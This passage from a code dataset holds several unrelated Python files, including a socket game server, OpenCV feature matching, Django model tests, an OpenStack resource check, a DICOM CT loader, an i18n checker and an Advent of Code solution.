{\n1:log,\nintFromString(b\"LOG!\"):log,\n#2:login,\n#3:logoff,\n4:register,\nintFromString(b\"REG!\"):register,\n5:seed,\n#6:setpos,\n#7:getpos,\n#8:getallplayer,\n#9:getallpos,\n10:spawn,\n}\n\nreturnMessages = {\n\t10:\"spawnOnClientSide\"\n}\n\n\n#global server\nserver = None\n#main server class\nclass Server:\n\tdef __init__(self,port):\n\t\tglobal server\n\t\tserver = self\n\t\tprint(\"starting server\")\n\t\tself.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\tself.socket.bind((\"\",port))\n\t\tself.socket.listen(5)\n\t\tself.connections = []\n\n\t\tprint(\"server started on {}\".format(self.socket.getsockname()))\n\n\t\tmthread = threading.Thread(target=self.listen)\n\t\tmthread.deamon = True\n\t\tmthread.start()\n\t\t\"\"\"\n\t\tself.world = World()\n\n\t\tBlock(self.world,Vector(32,32))\n\t\t\"\"\"\n\t\twhile True:\n\t\t\tself.loop()\n\t\t\ttry:\n\t\t\t\tc = input(\"\")\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\tself.end()\n\t\t\t\tbreak\n\t\t\t\n\t\t\tif c == \"exit\":\n\t\t\t\tself.end()\n\t\t\t\tbreak\n\t\t\telif c == \"userlist\":\n\t\t\t\tprint(users)\n\t\t\telif c == \"entity\":\n\t\t\t\tEntety(self.world,Vector(32,32))\n\t\t\telse:\n\t\t\t\tprint(HELPMSG)\n\n\tdef loop(self):\n\t\tpass\n\n\tdef handler(self,connection,adress):\n\t\twhile True:\n\t\t\tdata = None\n\t\t\ttry:\n\t\t\t\tdata = connection.recv(1024)\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\n\t\t\tif not data:\n\t\t\t\tprint(\"connection lost\")\n\t\t\t\tself.connections.remove(connection)\n\t\t\t\tfor u in users:\n\t\t\t\t\tif u.connection == connection:\n\t\t\t\t\t\tusers.remove(u)\n\t\t\t\tconnection.close()\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(data)\n\t\t\t\tif (len(data) >= 4):\n\t\t\t\t\tmessageID = struct.unpack(\"I\",data[:4])[0]\n\t\t\t\t\tfunk = None\n\t\t\t\t\ttoSend = None\n\t\t\t\t\ttry:\n\t\t\t\t\t\tfunk = messages[messageID]\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tprint(\"msg {} not found\".format(messageID))\n\t\t\t\t\tif funk != None:\n\t\t\t\t\t\ttoSend = funk(data[4:],connection)\n\t\t\t\t\tif toSend:\n\t\t\t\t\t\tself.connection.send(toSend)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"data:{} is to short\".format(data))\n\n\tdef listen(self):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tc,a = self.socket.accept()\n\t\t\texcept:\n\t\t\t\treturn\n\t\t\t\n\t\t\tthrea = threading.Thread(target=self.handler,args=(c,a))\n\t\t\tthrea.deamon = True\n\t\t\tthrea.start()\n\t\t\tself.connections.append(c)\n\t\t\tprint(\"new connection {}\".format(c))\n\n\tdef end(self):\n\t\tprint(\"trying to exit\")\n\t\tfor c in self.connections:\n\t\t\tc.close()\n\t\tself.socket.close()\n\n\nif __name__ == \"__main__\":\n\tif len(sys.argv)>1:\n\t\tif int(sys.argv[1])!=None:\n\t\t\tServer(int(sys.argv[1]))\n\telse:\n\t\tprint(\"port to default \"+str(DEFAULTPORT))\n\t\tServer(DEFAULTPORT)","sub_path":"code/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"453798210","text":"\n# valid snacks holds list of all snacks\n# Each item in valid snacks is a list with valid options for each snack \nvalid_snacks = [\n [\"popcorn\", \"p\", \"corn\", \"a\"],\n [\"M&M's\", \"m&m's\", \"mms\", \"m\", \"b\"],\n [\"pita chips\", \"chips\", \"pc\", \"pita\", \"c\"],\n [\"water\", \"w\", \"d\"],\n [\"orange juice\", \"OJ\", \"oj\", \"juice\", \"e\"]\n\n]\n\n# variables\nsnack_ok = \"\"\nsnack = \"\"\n\n# loop 3 times for testing\nfor item in range(0, 3):\n\n # ask user desired snack and put it in lower case\n desired_snack = input(\"Snack: \").lower()\n\n for var_list in valid_snacks:\n\n if desired_snack in var_list:\n\n # Get full name of snack and put it in\n # title case so it looks nice when outputted\n snack = var_list[0].title()\n snack_ok = \"Yes\"\n break\n\n # if the chosen snack is not valid, set snack_ok to no\n else:\n snack_ok = \"No\"\n\n # if the snack is not OK - ask question again\n if snack_ok == \"Yes\":\n print(\"Snack Choice: \", snack)\n else:\n print(\"Invalid Choice\")\n\n\n\n\n\n\n\n\n\n","sub_path":"06_sting_checker_V2.py","file_name":"06_sting_checker_V2.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62694445","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport numpy as np\nimport cv2\n\n\nsift = cv2.xfeatures2d.SIFT_create()\n\n\ndef detect_and_compute(img):\n return sift.detectAndCompute(img, None)\n\n\ndef find_match(kp1, desc1, kp2, desc2):\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n search_params = dict(checks=50)\n\n flann = cv2.FlannBasedMatcher(index_params, search_params)\n matches = flann.knnMatch(desc1, desc2, k=2)\n\n return matches\n\n\ndef filter_match(matches, factor=0.7):\n # store all the good matches as per Lowe's ratio test.\n good = []\n for m, n in matches:\n if m.distance < factor*n.distance:\n good.append(m)\n\n return good\n\n\ndef find_feature_region(kp1, des1, w, h, img, factor=0.7, minMatches=10):\n try:\n kp2, des2 = sift.detectAndCompute(img, None)\n matches = find_match(kp1, des1, kp2, des2)\n good = filter_match(matches, factor)\n if len(good) > minMatches:\n src_pts = np.float32(\n [kp1[m.queryIdx].pt for m in good]).reshape(-1, 1, 2)\n dst_pts = np.float32(\n [kp2[m.trainIdx].pt for m in good]).reshape(-1, 1, 2)\n\n M, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0)\n matchesMask = mask.ravel().tolist()\n\n pts = np.float32([[0, 0], [0, h-1], [w-1, h-1],\n [w-1, 0]]).reshape(-1, 1, 2)\n dst = cv2.perspectiveTransform(pts, M)\n\n return dst\n else:\n return None\n except:\n return None\n","sub_path":"kcautomata/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"38624308","text":"from authentication.models import CustomUser\nfrom blog.models import Blog\nfrom django.test import TestCase\nimport datetime\nfrom unittest import mock\n\nTEST_DATE = datetime.datetime(2018, 2, 2, 12, 00)\n\n\nclass TestBlogModel(TestCase):\n\n def setUp(self):\n CustomUser(id=1,\n first_name='Bohdan',\n last_name='Dubas',\n phone='123456789',\n email='dubas.bogdan@gmail.com',\n is_active=False).save()\n\n self.user = CustomUser.objects.get(id=1)\n\n Blog(id=22,\n name='TestName',\n description='TestDescription',\n author=self.user,\n created_at=TEST_DATE).save()\n\n Blog(id=333,\n name='OlderBlog',\n description='Should be last in array',\n author=self.user).save()\n\n self.blog = Blog.objects.get(id=22)\n self.new_blog = Blog.objects.get(id=333)\n\n def test_str(self):\n self.assertEqual(self.blog.__str__(), 'TestName')\n\n def test_create(self):\n with mock.patch('django.utils.timezone.now') as mock_time:\n mock_time.return_value = TEST_DATE\n blog = Blog.create(name='CreateName',\n description='CreateDescription',\n author=self.user)\n self.assertEqual(blog.name, 'CreateName')\n self.assertEqual(blog.description, 'CreateDescription')\n self.assertEqual(blog.author, self.user)\n self.assertEqual(blog.created_at, TEST_DATE)\n\n def test_get_by_author(self):\n test_blogs = [self.new_blog, self.blog]\n blogs = Blog.get_by_author(self.user)\n self.assertListEqual(list(blogs), test_blogs)\n\n def test_get_by_name(self):\n result = Blog.get_by_name('Tes')\n self.assertSetEqual(set(result), {self.blog})\n\n def test_get_recent_blogs(self):\n test_blogs = [self.new_blog, self.blog]\n blogs = Blog.get_recent_blogs()\n self.assertListEqual(list(blogs), test_blogs)\n\n def test_get_by_id(self):\n blog = Blog.get_by_id(22)\n\n self.assertEqual(blog.id, 22)\n self.assertEqual(blog.name, 'TestName')\n self.assertEqual(blog.description, 'TestDescription')\n self.assertEqual(blog.author, self.user)\n\n def test_delete_blog_by_id(self):\n Blog.delete_blog_by_id(22)\n blog = Blog.objects.all()\n self.assertEqual(len(blog), 1)","sub_path":"vacomsBlog/tests/unittests/blog/testmodel.py","file_name":"testmodel.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"390722789","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2016年4月6日\n\n@author: wnk\n'''\n\nimport json\nimport logging\nfrom novaclient import client\nimport sys\nfrom webob import Response\n\nfrom baxia import config\nfrom baxia.api.base import BaseController, secured\n\n\nADMIN_USER = config.get('admin_user', section='keystone')\nIDENTITY_URI = config.get('identity_uri', section='keystone')\nADMIN_PASSWD = config.get('admin_password', section='keystone')\nADMIN_TENTANT = config.get('admin_tenant_name', section='keystone')\n\nCPU_ALLOCATION_RATIO = 16\n\n\ndef get_available_count(free_resources, need_resources):\n \n weakness = None\n weakness_count = sys.maxint\n for k, v in need_resources.items():\n count = free_resources[k] / v\n if count < weakness_count:\n weakness = k\n weakness_count = count\n return (weakness_count, weakness)\n\n\nclass ResourceController(BaseController):\n @secured\n def check_all(self, request):\n flavor_id = request.GET.get('flavor_id')\n count = int(request.GET.get('count', 0))\n availability_zone = request.GET.get('availability_zone')\n tenant_id = request.access['token']['tenant']['id']\n if count <= 0:\n return Response(status=500, body=json.dumps({'errors': 'input count less than 1'}), content_type='application/vnd.api+json')\n \n try:\n nova = client.Client(2, ADMIN_USER, ADMIN_PASSWD, ADMIN_TENTANT, IDENTITY_URI)\n ag_hosts = nova.aggregates.list()\n flavor = nova.flavors.get(flavor_id)\n flavor_metas = flavor.get_keys()\n \n av_hosts = []\n for ag_host in ag_hosts:\n if availability_zone != 'undefined':\n if ag_host.availability_zone:\n if ag_host != availability_zone:\n continue\n else:\n if availability_zone != 'nova':\n continue\n if ag_host.metadata.has_key('filter_tenant_id'):\n if ag_host.metadata.get('filter_tenant_id') != tenant_id:\n continue\n \n for k, v in flavor_metas.items():\n if ag_host.metadata.get(k) != v:\n break\n else:\n av_hosts.extend(ag_host.hosts)\n \n if not av_hosts:\n body = json.dumps({'errors': 'not available hosts'})\n return Response(status=409, body=body, content_type='application/vnd.api+json')\n \n \n need_resources = {'ram':flavor.ram, 'disk': flavor.disk + flavor.ephemeral, 'vcpus': flavor.vcpus}\n available_count = 0\n weaknesses = []\n hypervisors = nova.hypervisors.list()\n for _h in hypervisors:\n if _h.state == 'up' and _h.status == 'enabled':\n free_resources = {'ram': _h.free_ram_mb, 'disk': _h.free_disk_gb, 'vcpus': _h.vcpus * CPU_ALLOCATION_RATIO - _h.vcpus_used}\n this_count, weakness = get_available_count(free_resources, need_resources)\n available_count += this_count\n weaknesses.append({'host': _h.hypervisor_hostname, 'weakness': weakness})\n if available_count >= count:\n return Response(status=204)\n else:\n body = json.dumps({'errors': 'not enough resources', 'available_count': available_count, 'weaknesses': weaknesses})\n return Response(status=409, body=body, content_type='application/vnd.api+json')\n except Exception:\n logging.exception('check resouce failed')\n return Response(status=500, body=json.dumps({'errors': 'check resource failed'}), content_type='application/vnd.api+json')\n","sub_path":"baxia/api/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"604657304","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[9]:\n\n\nimport numpy as np\nimport pydicom\nimport os\nimport sys\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom datetime import date\n\n\n# In[3]:\n\n\n#function that feeds CT image and returns the pixel array in hounsfeld units\n#input should be variable produced from pydicom.read_file(filename) as the function checks header data to work\n\ndef get_pixels_hu(scan):\n image = scan.pixel_array\n # Convert to int16 (from sometimes int16), \n # should be possible as values should always be low enough (<32k)\n image = image.astype(np.int16)\n \n # Convert to Hounsfield units (HU) using dicom header info Intercept and Slope\n intercept = scan.RescaleIntercept\n slope = scan.RescaleSlope\n if slope != 1:\n image = slope * image.astype(np.float64)\n image = image.astype(np.int16)\n image += np.int16(intercept)\n \n imagesize = 512\n rows = scan.Rows\n columns = scan.Columns\n #quick check to ensure image is sized correctly (512x512), crop or pad if not\n if rows > imagesize or columns > imagesize:\n image = cropcenter(image, imagesize, imagesize)\n elif rows < imagesize or columns < imagesize:\n rowpad = (imagesize - rows) // 2\n columnpad = (imagesize - columns) // 2\n image = np.pad(image, ((rowpad, rowpad), (columnpad, columnpad)), 'constant')\n \n return np.array(image, dtype=np.int16)\n\ndef crop_center(img,cropx,cropy): #function used later to trim images to center\n y,x = img.shape\n startx = x//2-(cropx//2)\n starty = y//2-(cropy//2) \n return img[starty:starty+cropy,startx:startx+cropx]\n\nimagesize = 512\n\npatientpaths = []\nimageset = []\ntestset = []\n\ntrainimagepath = '/projects/rpci/ahle2/kaggle_data/stage_1_test_images'#this file stores the dicom files\ntestimagepath = '/projects/rpci/ahle2/kaggle_data/stage_1_train_images'\ncsvpath = '/projects/rpci/ahle2/kaggle_data/stage_1_train.csv' #the path of the csv\n\n#pulling the labels out from csv file and append it to the image set\n#recommend open patien path base on the csv row by row so we dont have to search for patien label\n#which might take long time\ndef append_label(csvpath, trainimagepath):\n patientpaths = []\n imageset = []\n df = pd.read_csv(csvpath)\n for index,row in df.iterrows():\n patient = row['ID'].split('_')\n path = os.path.join(trainimagepath, patient[0]+'_'+patient[1]+'.dcm')\n imageset_append(path,patient[0]+'_'+patient[1],row['Label'],patient[2])\n patientpaths.append(path)\n return imageset\n \n\ndef imageset_append(path,patient_id,label,scantype):\n scan = pydicom.read_file(path)\n image = get_pixels_hu(scan)\n imageset.append([patient_id,label,scantype, image])\n \ndef create_trainset(csvpath, trainimagepath):\n trainimages = []\n trainlabels_any = []\n trainlabels_type = []\n trainIDs = []\n holdlabel = []\n holdtype = []\n typeorder = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural']\n imageset = append_label(csvpath, trainimagepath)\n #each item in the imageset is now a list in this order: ID, labelvalue, labelcategory, imagedata\n for item in imageset:\n if item[0] not in trainIDs:\n trainIDs.append(item[0])\n trainimages.append(item[3])\n if item[2] == 'any': #this loop could be removed to include the any category in the main label list\n trainlabels_any.append(item[1])\n continue \n holdlabel.append(item[1])\n holdtype.append(item[2])\n if len(holdlabel)==5:\n assert holdtype == typeorder\n trainlabels_type.append(holdlabel)\n holdlabel = []\n trainimages = np.reshape(trainimages,(trainimages.shape[0],trainimages.shape[1],trainimages.shape[2],1))\n return trainIDs, trainimages, trainlabels_any, trainlabels_type\n \n \n \ndef create_testset(testimagepath):\n testset = []\n testIDs = []\n for file in os.listdir(testimagepath):\n scan = pydicom.read_file(os.path.join(testimagepath, file))\n image = get_pixels_hu(scan)\n testIDs.append(file[:-4])\n testset.append(image)\n testset = np.asarray(testset)\n testset = np.reshape(testset, (testset.shape[0],testset.shape[1],testset.shape[2],1))\n return testIDs, testset\n\ndef results_to_csv(test_any, test_type, testIDs):\n typeorder = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural']\n outputfolder = '/projects/rpci/ahle2/johnasbach/outputs/'\n outputfilepath = outputfolder + str(date.today()) + \"-predictions.csv\"\n df = pd.DataFrame(columns=['ID','Label'])\n for i in range(0,len(testIDs)):\n df.append([testIDs[i] + '_any', test_any[i]])\n for j in range(0,len(typeorder)):\n df.append([testIDs[i]+'_'+typeorder[j], test_type[i][j]])\n df.to_csv(outputfilepath)\n \ndef main():\n imageset = append_label(csvpath, trainimagepath)\n testIDs, testset = create_testset(testimagepath)\n print(\"Training set defined (imageset) and test set defined (testset) \")\n print(\"No syntax errors encountered.\")\n\nif __name__ == \"__main__\":\n main()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"datagenerator.py","file_name":"datagenerator.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"577888497","text":"import glob\nimport re\nimport os\nimport json\nimport datetime\n\n# タグの正規表現パターン\ntag_pattern = re.compile('\\$t\\(\\'[^\\']*?\\'')\n\n# 文字エンコーディング\nENCODING = 'UTF-8'\n\n# 出力ファイル設定\nOUTPUT_DIR = 'auto-i18n'\nJSON_FILE_NAME_SUFFIX = '.i18n.json'\nDATETIME_FORMAT = '%Y%m%d%H%M%S'\nTEST_RESULT = 'result_' + datetime.datetime.now().strftime(DATETIME_FORMAT) + '.csv'\n\n# チェックするディレクトリのリスト\nCHECK_DIR = ['pages', 'components']\n\n# 言語のリスト\nLANG = ['ja']\n\n# タグ総数\ntotal = 0\n\n# エラーの数\nerror_count = 0\n\n#####処理部開始#####\n# ディレクトリ毎にテスト\nfor cdir in CHECK_DIR:\n # リポジトリのルートからのパスをtoolからの相対パスに変換\n cdir = os.path.join(os.pardir, cdir)\n # 自動生成json出力フォルダ作成\n os.makedirs(os.path.join(cdir, OUTPUT_DIR), exist_ok=True)\n # すべてのVueファイルを検索\n vue_files = (glob.glob(cdir + os.sep + '**' + os.sep + '*.vue', recursive=True))\n\n with open(os.path.join(cdir, OUTPUT_DIR, TEST_RESULT), mode='w', encoding=ENCODING) as test_result:\n # 各Vueファイルについて処理\n for path in vue_files:\n with open(path, encoding=ENCODING) as file:\n # ファイルの内容を文字列として取得\n content = ''.join([l.strip() for l in file])\n # 全タグを正規表現で取得\n tags = [tag[4:(len(tag) - 1)] for tag in tag_pattern.findall(content)]\n\n # json生成用辞書\n tags_dict = json.loads('{}')\n for lang in LANG:\n tags_dict[lang] = {}\n\n for tag in tags:\n # 辞書に追加\n if(len(tag) > 0):\n print(path + ': ' + tag)\n for lang in LANG:\n tags_dict[lang][tag] = tag\n\n json_path = os.path.join(os.path.dirname(path), os.path.splitext(os.path.basename(path))[0] + JSON_FILE_NAME_SUFFIX)\n # 既存のjsonを置き換える場合は次の行を有効化して現在有効になっているwith open ~をコメントアウト\n # with open(json_path, mode='w', encoding=ENCODING) as i18n:\n\n # テスト用にauto-i18n/に出力\n with open(os.path.join(cdir, OUTPUT_DIR, os.path.basename(path)) + JSON_FILE_NAME_SUFFIX, mode='w', encoding=ENCODING) as i18n:\n # json出力\n json.dump(tags_dict, i18n, ensure_ascii=False, indent=4)\n\n total += len(tags)\n\n # json内のtagと照合\n if(os.path.exists(json_path)):\n with open(json_path, encoding=ENCODING) as test_file:\n test_json = json.load(test_file)\n for lang in tags_dict:\n # 言語が不足\n if(lang not in test_json):\n test_result.write(','.join(['LANG', json_path, lang]) + '\\n')\n error_count += 1\n continue\n # タグが不足\n for tag in tags_dict[lang]:\n if(tag not in test_json[lang]):\n test_result.write(','.join(['TAG', json_path, tag]) + '\\n')\n error_count += 1\n # ファイルが不足\n else:\n test_result.write(','.join(['FILE', json_path, '']) + '\\n')\n error_count += 1\n\n# タグ総数出力\nprint('total : ' + str(total))\n# エラー数出力\nprint('error : ' + str(error_count))","sub_path":"tool/i18n_test.py","file_name":"i18n_test.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"506999986","text":"#!/usr/bin/env python\n\n\"\"\"\nBenchmark a directory of PDB files.\n\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport logging\nimport argparse\n\nimport bcr_models as igm\nfrom bcr_models.scripts import benchmarking\n\n#Define a log\nlog = logging.getLogger('LYRA/benchdir')\n\n\ndef benchmark_pdbnames(pdbnames, pdb_db, id_max=0.98, local_id_max=None, monitor=None):\n rmsds = {}\n for pdbname in pdbnames:\n log.debug('Trying {}'.format(pdbname))\n try:\n pdbmodel = pdb_db.get(pdbname)\n entry_blacklist = (pdbname, )\n entry_rmsd, igc = benchmarking.benchmark_pdbmodel(pdbmodel, id_max,\n local_id_max, entry_blacklist)\n for region, v in entry_rmsd.items():\n if region == 'K1': region = 'L1'\n if region == 'K2': region = 'L2'\n if region == 'K3': region = 'L3'\n if region == 'K loops': region = 'L loops'\n if region not in rmsds:\n rmsds[region] = []\n\n rmsds[region].append(v)\n except (igm.BCRBaseError) as err:\n log.error('{} failed: {}'.format(pdbname, err))\n else:\n if monitor:\n if rmsds[monitor[0]][-1] > monitor[1]:\n log.info('{} {:.2f}'.format(pdbname, rmsds[monitor[0]][-1]))\n else:\n log.info('{} {:.2f}'.format(pdbname, rmsds.get('Total', [999])[-1]))\n\n return rmsds\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('pdbdir', help='Directory of pdbfiles to benchmark.')\n parser.add_argument('-v', help='Verbose', action='store_true')\n parser.add_argument('-m', help='Maximum %%ID', default=0.98, type=float)\n parser.add_argument('-M', help='Maximum local %%ID', default=None, type=float)\n parser.add_argument('--plot', help='Plot histogram', default=False, nargs='?', const=True)\n parser.add_argument('--monitor', help='Monitor structure, [structure ..]', default=None, nargs=2)\n args = parser.parse_args()\n\n logfmt = '%(asctime)s %(name)-15s: %(levelname)-8s %(message)s'\n if args.v:\n logging.basicConfig(level=logging.DEBUG, format=logfmt, datefmt='%Y-%m-%d %H:%M')\n else:\n logging.basicConfig(level=logging.INFO, format=logfmt, datefmt='%Y-%m-%d %H:%M')\n\n if args.monitor:\n args.monitor = (args.monitor[0], float(args.monitor[1]))\n\n pdb_db = igm.db.PDBDirectoryDatabase(args.pdbdir)\n rmsds = benchmark_pdbnames(sorted(pdb_db), pdb_db, args.m, args.M, args.monitor)\n\n benchmarking.print_results(rmsds)\n\n if args.plot:\n if not args.M:\n args.M = args.m\n elif args.M > 1.:\n args.M = 1.\n\n if args.plot is True:\n args.plot = ('histogram_bench_m{:0>3.0f}M{:0>3.0f}.pdf'\n ''.format(args.m*100, args.M*100))\n elif args.plot[-4:] != '.pdf':\n args.plot += '.pdf'\n\n plottitle = r'RMSD ($n = {},\\, ID < {:.0f}\\%,\\, ID_{{local}} < {:.0f}\\%$)'.format(\n len(rmsds['Total']), args.m*100, args.M*100)\n benchmarking.plot_results(rmsds, args.plot, plottitle)\n\n\nif __name__ == '__main__':\n main()","sub_path":"build/lib/bcr_models/scripts/benchmark_dir.py","file_name":"benchmark_dir.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"447336559","text":"# coding=utf-8\nfrom utils import readFile, writeTrainList\n\ntraindicpath = \"train/trainset.txt\"\ntestsentpath = \"train/testsent.txt\"\ntestsegpath = \"train/testset.txt\"\nsegpath = \"dataset/199801_seg&pos.txt\"\nsentpath = \"dataset/199801_sent.txt\"\n\ndef main():\n trainSet = []\n testSet = []\n testSent = []\n lines = readFile(segpath)\n sentlines = readFile(sentpath)\n length = len(lines)\n length_sent = len(sentlines)\n assert length == length_sent , \"Not Equal!!\"\n for i in range(length):\n if i % 10 == 7 or i % 10 == 8 or i % 10 == 9:\n testSet.append(lines[i])\n testSent.append(sentlines[i])\n else:\n trainSet.append(lines[i])\n writeTrainList(testsentpath, testSent)\n writeTrainList(testsegpath, testSet)\n writeTrainList(traindicpath, trainSet)\n\nif __name__ == \"__main__\":\n main()","sub_path":"pycode/cut_dic.py","file_name":"cut_dic.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62388578","text":"\n\nclass Array(object):\n\n\tdef __init__(self, max_length):\n\t\tself.max_length = max_length\n\t\tself._items = [None] * max_length\n\n\tdef __len__(self):\n\t\treturn self.max_length\n\n\tdef __getitem__(self, index):\n\t\treturn self._items[index]\n\n\tdef __setitem__(self, index, value):\n\t\tself._items[index] = value\n\n\ndef test_array():\n\tarr = Array(5)\n\n\tarr[0] = 0\n\tarr[1] = 1\n\tarr[2] = 2\n\tarr[3] = 3\n\tarr[4] = 4\n\n\tassert(len(arr)==5)\n\tassert(arr[0]==0)\n\tassert(arr[1]==1)\n\tassert(arr[2]==2)\n\tassert(arr[3]==3)\n\tassert(arr[4]==4)\n\n\tarr[4] = 6\n\tassert(arr[4]==6)\n","sub_path":"docs/数据结构和算法/codes/_array.py","file_name":"_array.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"215592072","text":"import re\n\n__author__ = 'Géraud'\n\n\ndef parse_input(f):\n reindeers = []\n for line in f:\n regex = r'\\D+(\\d+)\\D+(\\d+)\\D+(\\d+)'\n match = re.findall(regex, line)\n if match:\n match = [int(x) for x in match[0]]\n speed, speed_duration, rest_duration = match\n reindeers.append({\"speed\": speed,\n \"speed_duration\": speed_duration,\n \"rest_duration\": rest_duration,\n \"traveled\": 0,\n \"points\": 0})\n return reindeers\n\n\nif __name__ == \"__main__\":\n part_puzzle = 1\n with open('input.txt') as file:\n reindeers_stats = parse_input(file.readlines())\n reindeers = [reindeer.copy() for reindeer in reindeers_stats]\n\n for sec in range(2503):\n for index, reindeer in enumerate(reindeers):\n if reindeer[\"speed_duration\"] > 0:\n reindeer[\"traveled\"] += reindeer[\"speed\"]\n reindeer[\"speed_duration\"] -= 1\n elif reindeer[\"rest_duration\"] > 0:\n reindeer[\"rest_duration\"] -= 1\n if reindeer[\"rest_duration\"] == 0:\n reindeer[\"speed_duration\"] = reindeers_stats[index][\"speed_duration\"]\n reindeer[\"rest_duration\"] = reindeers_stats[index][\"rest_duration\"]\n distance_max = max([reindeer[\"traveled\"] for reindeer in reindeers])\n for reindeer in reindeers:\n if reindeer[\"traveled\"] == distance_max:\n reindeer[\"points\"] += 1\n\n print(\"Part 1: {}\".format(distance_max))\n print(\"Part 2: {}\".format(max([reindeer[\"points\"] for reindeer in reindeers])))\n","sub_path":"AOC-2015/Day-14/day-14.py","file_name":"day-14.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"494793104","text":"from django.conf import settings\nfrom django.shortcuts import render\nfrom django.core.files.storage import FileSystemStorage\nfrom django.db import connections\nfrom django.db.models import Sum\n\nfrom .models import *\nfrom .excel import get_prov\n\n# Create your views here.\ndef form(request):\n ctx = {\n 'errors': []\n }\n\n if request.method == 'POST':\n date_start = request.POST.get('date_start', '')\n date_end = request.POST.get('date_end', '')\n excel = request.FILES.get('excel', '')\n\n if date_start and date_end and excel:\n fs = FileSystemStorage()\n filename = fs.save(excel.name, excel)\n filename = fs.url(filename)\n path = f'{settings.MEDIA_ROOT}/{filename}'\n\n with connections['bd_local'].cursor() as cursor:\n cursor.execute('SELECT Id_art, Nomb_art, Marca_art FROM articulo;')\n articles = cursor.fetchall()\n cursor.execute('Select Id_cte, Nomb_cte from clientes;')\n clientes = cursor.fetchall()\n cursor.execute('Select Id_tienda, Nomb_tienda, Nomb_edo from tienda join estado on tienda.Id_edo=estado.Id_edo;')\n tiendas = cursor.fetchall()\n cursor.execute('Select Fecha_vta from venta;')\n tiempos = cursor.fetchall()\n cursor.execute('Select venta.Fecha_vta, tienda.Id_tienda, clientes.Id_cte, vta_art.Id_art, vta_art.Cant_art, (vta_art.Cant_art * vta_art.Prec_art) as monto_venta, (vta_art.Cant_art* articulo.cost_actual_art) as monto_costo From clientes join venta on clientes.Id_cte=venta.Id_cte join vta_art on venta.Id_vta=vta_art.Id_vta join tienda on venta.Id_vta= tienda.Id_tienda join estado on tienda.Id_edo= estado.Id_edo join articulo on vta_art.Id_art=articulo.Id_art where Fecha_vta between %s AND %s;', [date_start, date_end])\n hechos = cursor.fetchall()\n \n for id_art,nomb_art,marca_art in articles:\n if DimArticulo.objects.filter(id_articulo = id_art).exists(): continue\n\n nombre_prov = get_prov(id_art, path)\n\n DimArticulo.objects.create(\n id_articulo = id_art,\n nombre_proveedor = nombre_prov,\n nombre_articulo = nomb_art,\n marca_articulo = marca_art\n )\n\n for id_tienda,nomb_tienda,nomb_edo in tiendas:\n if DimTienda.objects.filter(id_tienda = id_tienda).exists(): continue\n\n DimTienda.objects.create(\n id_tienda = id_tienda,\n nombre_tienda = nomb_tienda,\n nombre_edo = nomb_edo,\n )\n\n for id_cte,nomb_cte in clientes:\n if DimCliente.objects.filter(id_cliente = id_cte).exists(): continue\n\n DimCliente.objects.create(\n id_cliente = id_cte,\n nombre_cliente = nomb_cte,\n )\n \n for fecha_vta in tiempos:\n if DimTiempo.objects.filter(id_fecha = fecha_vta[0]).exists(): continue\n\n DimTiempo.objects.create(\n id_fecha = fecha_vta[0],\n )\n\n for fecha_vta, id_tienda, id_cte, id_art, cant_art, monto_venta, monto_costo in hechos:\n if HechosVentas.objects.filter(id_fecha = fecha_vta).exists(): continue\n id_fecha = DimTiempo.objects.get(id_fecha = fecha_vta)\n id_tienda = DimTienda.objects.get(id_tienda = id_tienda)\n id_cte = DimCliente.objects.get(id_cliente = id_cte)\n id_art = DimArticulo.objects.get(id_articulo = id_art)\n \n HechosVentas.objects.create(\n id_fecha = id_fecha,\n id_tienda = id_tienda,\n id_cliente = id_cte,\n id_articulo = id_art,\n cantidad = cant_art,\n monto_venta = monto_venta,\n monto_costo = monto_costo\n )\n\n ventas_tiendas = HechosVentas.objects.values('id_tienda').annotate(Sum('monto_venta'))\n 